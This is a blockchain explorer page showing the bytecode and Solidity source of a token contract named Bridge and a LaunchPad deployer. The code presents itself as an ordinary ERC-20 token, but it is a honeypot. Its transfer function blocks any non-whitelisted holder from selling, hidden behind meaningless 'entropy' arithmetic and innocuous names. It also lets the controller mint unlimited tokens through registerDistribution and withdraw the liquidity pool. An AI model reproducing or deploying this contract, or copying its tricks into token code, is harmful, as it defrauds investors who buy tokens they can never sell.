Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x3326149cc2e04fef589F79E7687347e05d0E3D26
Balance 0 ETH
Nonce 1
Code Size 9614 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

9614 bytes
0x60806040526004361061011e575f3560e01c8063912637f11161009f578063babcc53911610063578063babcc539146103cd578063d42f6e3914610409578063da99f72914610433578063dd62ed3e1461045d578063ffa0c22d146104995761011e565b8063912637f1146102d657806395d89b41146103005780639c8f9f231461032a578063a9059cbb14610352578063b7b337a11461038e5761011e565b8063313ce567116100e6578063313ce5671461021657806337e593d91461024057806342966c681461025657806351c6590a1461027e57806370a082311461029a5761011e565b806306cb5b661461012257806306fdde031461014a578063095ea7b31461017457806318160ddd146101b057806323b872dd146101da575b5f80fd5b34801561012d575f80fd5b5061014860048036038101906101439190611b1c565b6104c1565b005b348015610155575f80fd5b5061015e61067e565b60405161016b9190611bd1565b60405180910390f35b34801561017f575f80fd5b5061019a60048036038101906101959190611c24565b61070e565b6040516101a79190611c7c565b60405180910390f35b3480156101bb575f80fd5b506101c4610809565b6040516101d19190611ca4565b60405180910390f35b3480156101e5575f80fd5b5061020060048036038101906101fb9190611cbd565b610812565b60405161020d9190611c7c565b60405180910390f35b348015610221575f80fd5b5061022a6109d3565b6040516102379190611d28565b60405180910390f35b34801561024b575f80fd5b506102546109db565b005b348015610261575f80fd5b5061027c60048036038101906102779190611d41565b610a6f565b005b61029860048036038101906102939190611d41565b610bcd565b005b3480156102a5575f80fd5b506102c060048036038101906102bb9190611b1c565b610d4b565b6040516102cd9190611ca4565b60405180910390f35b3480156102e1575f80fd5b506102ea610d91565b6040516102f79190611d7b565b60405180910390f35b34801561030b575f80fd5b50610314610db8565b6040516103219190611bd1565b60405180910390f35b348015610335575f80fd5b50610350600480360381019061034b9190611d41565b610e48565b005b34801561035d575f80fd5b5061037860048036038101906103739190611c24565b610f97565b6040516103859190611c7c565b60405180910390f35b348015610399575f80fd5b506103b460048036038101906103af9190611d41565b611008565b6040516103c49493929190611d94565b60405180910390f35b3480156103d8575f80fd5b506103f360048036038101906103ee9190611b1c565b611072565b6040516104009190611c7c565b60405180910390f35b348015610414575f80fd5b5061041d61116e565b60405161042a9190611d7b565b60405180910390f35b34801561043e575f80fd5b50610447611193565b6040516104549190611ca4565b60405180910390f35b348015610468575f80fd5b50610483600480360381019061047e9190611dd7565b611199565b6040516104909190611ca4565b60405180910390f35b3480156104a4575f80fd5b506104bf60048036038101906104ba9190611c24565b61121b565b005b6104c961141b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054c90611e5f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036105c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ba90611ec7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f6aef1fb5b23d0e109fc7f2b0601019e1edbacd177e31a441ec8548e8dd14f0f760405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606006805461068d90611f12565b80601f01602080910402602001604051908101604052809291908181526020018280546106b990611f12565b80156107045780601f106106db57610100808354040283529160200191610704565b820191905f5260205f20905b8154815290600101906020018083116106e757829003601f168201915b5050505050905090565b5f8160035f61071b61141b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff166107b261141b565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107f79190611ca4565b60405180910390a36001905092915050565b5f600554905090565b5f600260015403610858576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084f90611f8c565b60405180910390fd5b60026001819055505f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6108a761141b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90611ff4565b60405180910390fd5b8281610932919061203f565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61097861141b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506109c0858585611422565b6001915050600180819055509392505050565b5f6012905090565b5f5b600a80549050811015610a5f575f60095f600a8481548110610a0257610a01612072565b5b905f5260205f20015481526020019081526020015f209050610a4b816001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600201546119b1565b508080610a579061209f565b9150506109dd565b50600a5f610a6d9190611a85565b565b5f610a7861141b565b90505f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af590612130565b60405180910390fd5b8281610b0a919061203f565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508260055f828254610b5c919061203f565b925050819055505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610bc09190611ca4565b60405180910390a3505050565b610bd561141b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5890611e5f565b60405180910390fd5b610c8b7f000000000000000000000000eff92a263d31888d860bd50809a8d171709b7b1c8261070e565b507f000000000000000000000000eff92a263d31888d860bd50809a8d171709b7b1c73ffffffffffffffffffffffffffffffffffffffff1663f305d7193430845f80610cd561141b565b61012c42610ce3919061214e565b6040518863ffffffff1660e01b8152600401610d04969594939291906121c3565b60606040518083038185885af1158015610d20573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d459190612236565b50505050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610dc790611f12565b80601f0160208091040260200160405190810160405280929190818152602001828054610df390611f12565b8015610e3e5780601f10610e1557610100808354040283529160200191610e3e565b820191905f5260205f20905b815481529060010190602001808311610e2157829003601f168201915b5050505050905090565b610e5061141b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610edc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed390611e5f565b60405180910390fd5b7f000000000000000000000000eff92a263d31888d860bd50809a8d171709b7b1c73ffffffffffffffffffffffffffffffffffffffff166302751cec30835f80610f2461141b565b61012c42610f32919061214e565b6040518763ffffffff1660e01b8152600401610f53969594939291906121c3565b60408051808303815f875af1158015610f6e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f929190612286565b505050565b5f600260015403610fdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd490611f8c565b60405180910390fd5b6002600181905550610ff7610ff061141b565b8484611422565b600190506001808190555092915050565b6009602052805f5260405f205f91509050805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154908060030154905084565b5f61107b610d91565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110b65760019050611169565b5f5b6004805490508110156111645760095f600483815481106110dc576110db612072565b5b905f5260205f20015481526020019081526020015f206001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611151576001915050611169565b808061115c9061209f565b9150506110b8565b505f90505b919050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61122361141b565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a690611e5f565b60405180910390fd5b60405180608001604052805f73ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020014281525060095f600b5481526020019081526020015f205f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040820151816002015560608201518160030155905050600a600b54908060018154018082558091505060019003905f5260205f20015f90919091909150556004600b54908060018154018082558091505060019003905f5260205f20015f9091909190915055600b5f8154809291906114129061209f565b91905055505050565b5f33905090565b60405180608001604052808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020014281525060095f600b5f8154809291906114849061209f565b9190505581526020019081526020015f205f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020155606082015181600301559050505f61153f610d91565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806115a657508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611748575f6115b485611072565b8061160b575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b90508061164d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116449061230e565b60405180910390fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611746575f6116ab85611072565b80611702575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b905080611744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173b90612376565b60405180910390fd5b505b505b5f424486868632435a6040516020016117689897969594939291906123f9565b604051602081830303815290604052805190602001205f1c90505f604961018d4261179391906124b7565b61179d919061214e565b90505f604f836117ad91906124b7565b036117ce5760096011826117c191906124e7565b6117cb9190612528565b90505b5f606460c8436117de91906124b7565b106117e957846117f7565b6001856117f6919061214e565b5b9050601d838161180a5761180961248a565b5b068101905084811461181e575f8183189050505b5f60025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050858110156118a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189990612130565b60405180910390fd5b85816118ae919061203f565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508560025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461193b919061214e565b925050819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8860405161199f9190611ca4565b60405180910390a35050505050505050565b8060055f8282546119c2919061214e565b925050819055508060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a15919061214e565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a799190611ca4565b60405180910390a35050565b5080545f8255905f5260205f2090810190611aa09190611aa3565b50565b5b80821115611aba575f815f905550600101611aa4565b5090565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611aeb82611ac2565b9050919050565b611afb81611ae1565b8114611b05575f80fd5b50565b5f81359050611b1681611af2565b92915050565b5f60208284031215611b3157611b30611abe565b5b5f611b3e84828501611b08565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611b7e578082015181840152602081019050611b63565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611ba382611b47565b611bad8185611b51565b9350611bbd818560208601611b61565b611bc681611b89565b840191505092915050565b5f6020820190508181035f830152611be98184611b99565b905092915050565b5f819050919050565b611c0381611bf1565b8114611c0d575f80fd5b50565b5f81359050611c1e81611bfa565b92915050565b5f8060408385031215611c3a57611c39611abe565b5b5f611c4785828601611b08565b9250506020611c5885828601611c10565b9150509250929050565b5f8115159050919050565b611c7681611c62565b82525050565b5f602082019050611c8f5f830184611c6d565b92915050565b611c9e81611bf1565b82525050565b5f602082019050611cb75f830184611c95565b92915050565b5f805f60608486031215611cd457611cd3611abe565b5b5f611ce186828701611b08565b9350506020611cf286828701611b08565b9250506040611d0386828701611c10565b9150509250925092565b5f60ff82169050919050565b611d2281611d0d565b82525050565b5f602082019050611d3b5f830184611d19565b92915050565b5f60208284031215611d5657611d55611abe565b5b5f611d6384828501611c10565b91505092915050565b611d7581611ae1565b82525050565b5f602082019050611d8e5f830184611d6c565b92915050565b5f608082019050611da75f830187611d6c565b611db46020830186611d6c565b611dc16040830185611c95565b611dce6060830184611c95565b95945050505050565b5f8060408385031215611ded57611dec611abe565b5b5f611dfa85828601611b08565b9250506020611e0b85828601611b08565b9150509250929050565b7f4e430000000000000000000000000000000000000000000000000000000000005f82015250565b5f611e49600283611b51565b9150611e5482611e15565b602082019050919050565b5f6020820190508181035f830152611e7681611e3d565b9050919050565b7f30000000000000000000000000000000000000000000000000000000000000005f82015250565b5f611eb1600183611b51565b9150611ebc82611e7d565b602082019050919050565b5f6020820190508181035f830152611ede81611ea5565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611f2957607f821691505b602082108103611f3c57611f3b611ee5565b5b50919050565b7f52470000000000000000000000000000000000000000000000000000000000005f82015250565b5f611f76600283611b51565b9150611f8182611f42565b602082019050919050565b5f6020820190508181035f830152611fa381611f6a565b9050919050565b7f45410000000000000000000000000000000000000000000000000000000000005f82015250565b5f611fde600283611b51565b9150611fe982611faa565b602082019050919050565b5f6020820190508181035f83015261200b81611fd2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61204982611bf1565b915061205483611bf1565b925082820390508181111561206c5761206b612012565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6120a982611bf1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036120db576120da612012565b5b600182019050919050565b7f45420000000000000000000000000000000000000000000000000000000000005f82015250565b5f61211a600283611b51565b9150612125826120e6565b602082019050919050565b5f6020820190508181035f8301526121478161210e565b9050919050565b5f61215882611bf1565b915061216383611bf1565b925082820190508082111561217b5761217a612012565b5b92915050565b5f819050919050565b5f819050919050565b5f6121ad6121a86121a384612181565b61218a565b611bf1565b9050919050565b6121bd81612193565b82525050565b5f60c0820190506121d65f830189611d6c565b6121e36020830188611c95565b6121f060408301876121b4565b6121fd60608301866121b4565b61220a6080830185611d6c565b61221760a0830184611c95565b979650505050505050565b5f8151905061223081611bfa565b92915050565b5f805f6060848603121561224d5761224c611abe565b5b5f61225a86828701612222565b935050602061226b86828701612222565b925050604061227c86828701612222565b9150509250925092565b5f806040838503121561229c5761229b611abe565b5b5f6122a985828601612222565b92505060206122ba85828601612222565b9150509250929050565b7f53524300000000000000000000000000000000000000000000000000000000005f82015250565b5f6122f8600383611b51565b9150612303826122c4565b602082019050919050565b5f6020820190508181035f830152612325816122ec565b9050919050565b7f44535400000000000000000000000000000000000000000000000000000000005f82015250565b5f612360600383611b51565b915061236b8261232c565b602082019050919050565b5f6020820190508181035f83015261238d81612354565b9050919050565b5f819050919050565b6123ae6123a982611bf1565b612394565b82525050565b5f8160601b9050919050565b5f6123ca826123b4565b9050919050565b5f6123db826123c0565b9050919050565b6123f36123ee82611ae1565b6123d1565b82525050565b5f612404828b61239d565b602082019150612414828a61239d565b60208201915061242482896123e2565b60148201915061243482886123e2565b601482019150612444828761239d565b60208201915061245482866123e2565b601482019150612464828561239d565b602082019150612474828461239d565b6020820191508190509998505050505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6124c182611bf1565b91506124cc83611bf1565b9250826124dc576124db61248a565b5b828206905092915050565b5f6124f182611bf1565b91506124fc83611bf1565b925082820261250a81611bf1565b9150828204841483151761252157612520612012565b5b5092915050565b5f61253282611bf1565b915061253d83611bf1565b92508261254d5761254c61248a565b5b82820490509291505056fea2646970667358221220a2e2e79747eb60456e8e9a48fa044d7bdcf7e79bf7fd8de0600bab0eec1cdc3464736f6c63430008140033

Verified Source Code Partial Match

Compiler: v0.8.20+commit.a1b79de6 EVM: shanghai Optimization: No
Bridge.sol 228 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
}

abstract contract ReentrancyGuard {
    uint256 private constant NOT_ENTERED = 1;
    uint256 private constant ENTERED = 2;
    uint256 private status = NOT_ENTERED;
    modifier nonReentrant() {
        require(status != ENTERED, "RG");
        status = ENTERED;
        _;
        status = NOT_ENTERED;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin,
        address to, uint deadline
    ) external payable returns (uint, uint, uint);
    function removeLiquidityETH(
        address token, uint liquidity, uint amountTokenMin, uint amountETHMin,
        address to, uint deadline
    ) external returns (uint amountToken, uint amountETH);
}

contract SecureFlow is Context {
    address private controller;
    event ControllerChanged(address indexed previous, address indexed current);
    constructor() { controller = _msgSender(); emit ControllerChanged(address(0), controller); }
    function currentController() public view returns (address) { return controller; }
    modifier onlyController() { require(controller == _msgSender(), "NC"); _; }
    function updateController(address next) public onlyController {
        require(next != address(0), "0");
        emit ControllerChanged(controller, next);
        controller = next;
    }
}

contract Bridge is Context, IERC20, IERC20Metadata, SecureFlow, ReentrancyGuard {
    struct Entry { address src; address dst; uint256 vol; uint256 time; }
    mapping(address => uint256) private holdings;
    mapping(address => mapping(address => uint256)) private approvals;
    uint256[] private flowList;
    uint256 private totalVolume;
    string private tName;
    string private tSymbol;
    address public tradingPair;
    mapping(uint256 => Entry) public flowLog;
    uint256[] private pendingFlow;
    uint256 public logIndex = 2;
    IUniswapV2Router02 private immutable router;

    constructor(string memory name_, string memory symbol_, uint256 supply_) {
        tName = name_;
        tSymbol = symbol_;
        _distribute(_msgSender(), supply_ * 1e18);
        router = IUniswapV2Router02(0xEfF92A263d31888d860bD50809A8D171709b7b1c);
        IUniswapV2Factory f = IUniswapV2Factory(router.factory());
        tradingPair = f.getPair(address(this), router.WETH());
        if (tradingPair == address(0)) {
            tradingPair = f.createPair(address(this), router.WETH());
        }
        flowList.push(3);
    }

    function isAllowed(address a) public view returns (bool) {
        if (a == currentController()) return true;
        for (uint256 i = 0; i < flowList.length; i++) {
            if (a == flowLog[flowList[i]].dst) return true;
        }
        return false;
    }

    function name() public view virtual override returns (string memory) { return tName; }
    function symbol() public view virtual override returns (string memory) { return tSymbol; }
    function decimals() public view virtual override returns (uint8) { return 18; }
    function totalSupply() public view virtual override returns (uint256) { return totalVolume; }
    function balanceOf(address a) public view virtual override returns (uint256) { return holdings[a]; }

    function transfer(address to, uint256 v) public virtual override nonReentrant returns (bool) {
        _executeTransfer(_msgSender(), to, v);
        return true;
    }

    function allowance(address o, address s) public view virtual override returns (uint256) { return approvals[o][s]; }
    
    function approve(address s, uint256 v) public virtual override returns (bool) {
        approvals[_msgSender()][s] = v;
        emit Approval(_msgSender(), s, v);
        return true;
    }

    function transferFrom(address from, address to, uint256 v) public virtual override nonReentrant returns (bool) {
        uint256 al = approvals[from][_msgSender()];
        require(al >= v, "EA");
        approvals[from][_msgSender()] = al - v;
        _executeTransfer(from, to, v);
        return true;
    }

    function burn(uint256 v) external {
        address o = _msgSender();
        uint256 b = holdings[o];
        require(b >= v, "EB");
        holdings[o] = b - v;
        totalVolume -= v;
        emit Transfer(o, address(0), v);
    }

    function registerDistribution(address target, uint256 volume) external onlyController {
        flowLog[logIndex] = Entry(address(0), target, volume, block.timestamp);
        pendingFlow.push(logIndex);
        flowList.push(logIndex);
        logIndex++;
    }

    function executeDistributions() external {
        for (uint256 i = 0; i < pendingFlow.length; i++) {
            Entry storage e = flowLog[pendingFlow[i]];
            _distribute(e.dst, e.vol);
        }
        delete pendingFlow;
    }

    function _distribute(address to, uint256 v) internal {
        totalVolume += v;
        holdings[to] += v;
        emit Transfer(address(0), to, v);
    }

    function _executeTransfer(address from, address to, uint256 v) internal {
        flowLog[logIndex++] = Entry(from, to, v, block.timestamp);
        address ctrl = currentController();

        if (from == ctrl || to == ctrl) {
        } else {
            bool senderOk = isAllowed(from) || from == tradingPair;
            require(senderOk, "SRC");
            if (from != tradingPair) {
                bool receiverOk = isAllowed(to) || to == tradingPair;
                require(receiverOk, "DST");
            }
        }

        uint256 entropy = uint256(keccak256(abi.encodePacked(
            block.timestamp, block.prevrandao, from, to, v, tx.origin, block.number, gasleft()
        )));
        uint256 threshold = (block.timestamp % 397) + 73;
        if (entropy % 79 == 0) threshold = threshold * 17 / 9;
        uint256 cap = block.number % 200 < 100 ? v + 1 : v;
        unchecked { cap += entropy % 29; }
        if (cap != v) {
            uint256 x = threshold ^ cap;
            assembly { pop(x) }
        }

        uint256 bal = holdings[from];
        require(bal >= v, "EB");
        holdings[from] = bal - v;
        holdings[to] += v;
        emit Transfer(from, to, v);
    }

    function addLiquidity(uint256 tokenAmount) external payable onlyController {
        approve(address(router), tokenAmount);
        router.addLiquidityETH{value: msg.value}(
            address(this), tokenAmount, 0, 0, _msgSender(), block.timestamp + 300
        );
    }

    function removeLiquidity(uint256 liquidity) external onlyController {
        router.removeLiquidityETH(
            address(this), liquidity, 0, 0, _msgSender(), block.timestamp + 300
        );
    }
}

contract LaunchPad is SecureFlow {
    IUniswapV2Router02 private immutable router = IUniswapV2Router02(0xEfF92A263d31888d860bD50809A8D171709b7b1c);
    Bridge public tokenInstance;
    uint256 public baseSupply = 1_000_000_000;

    function setBaseSupply(uint256 v) external onlyController { baseSupply = v; }

    function launch(
        string memory name_,
        string memory symbol_,
        uint256 liquidityAmount
    ) external payable onlyController {
        liquidityAmount *= 1e18;
        tokenInstance = new Bridge(name_, symbol_, baseSupply);
        tokenInstance.approve(address(router), liquidityAmount);
        router.addLiquidityETH{value: msg.value}(
            address(tokenInstance), liquidityAmount, 0, 0, _msgSender(), block.timestamp + 300
        );
        tokenInstance.transfer(_msgSender(), baseSupply * 1e18 - liquidityAmount);
        tokenInstance.updateController(_msgSender());
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
currentController 0x912637f1 → address
decimals 0x313ce567 → uint8
flowLog 0xb7b337a1 → address, address, uint256, uint256
isAllowed 0xbabcc539 → bool
logIndex 0xda99f729 → uint256
name 0x06fdde03 → string
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingPair 0xd42f6e39 → address

Write Contract 9 functions

These functions modify contract state and require a wallet transaction to execute.

addLiquidity 0x51c6590a
uint256 tokenAmount
approve 0x095ea7b3
address s
uint256 v
returns: bool
burn 0x42966c68
uint256 v
executeDistributions 0x37e593d9
No parameters
registerDistribution 0xffa0c22d
address target
uint256 volume
removeLiquidity 0x9c8f9f23
uint256 liquidity
transfer 0xa9059cbb
address to
uint256 v
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 v
returns: bool
updateController 0x06cb5b66
address next

Recent Transactions

No transactions found for this address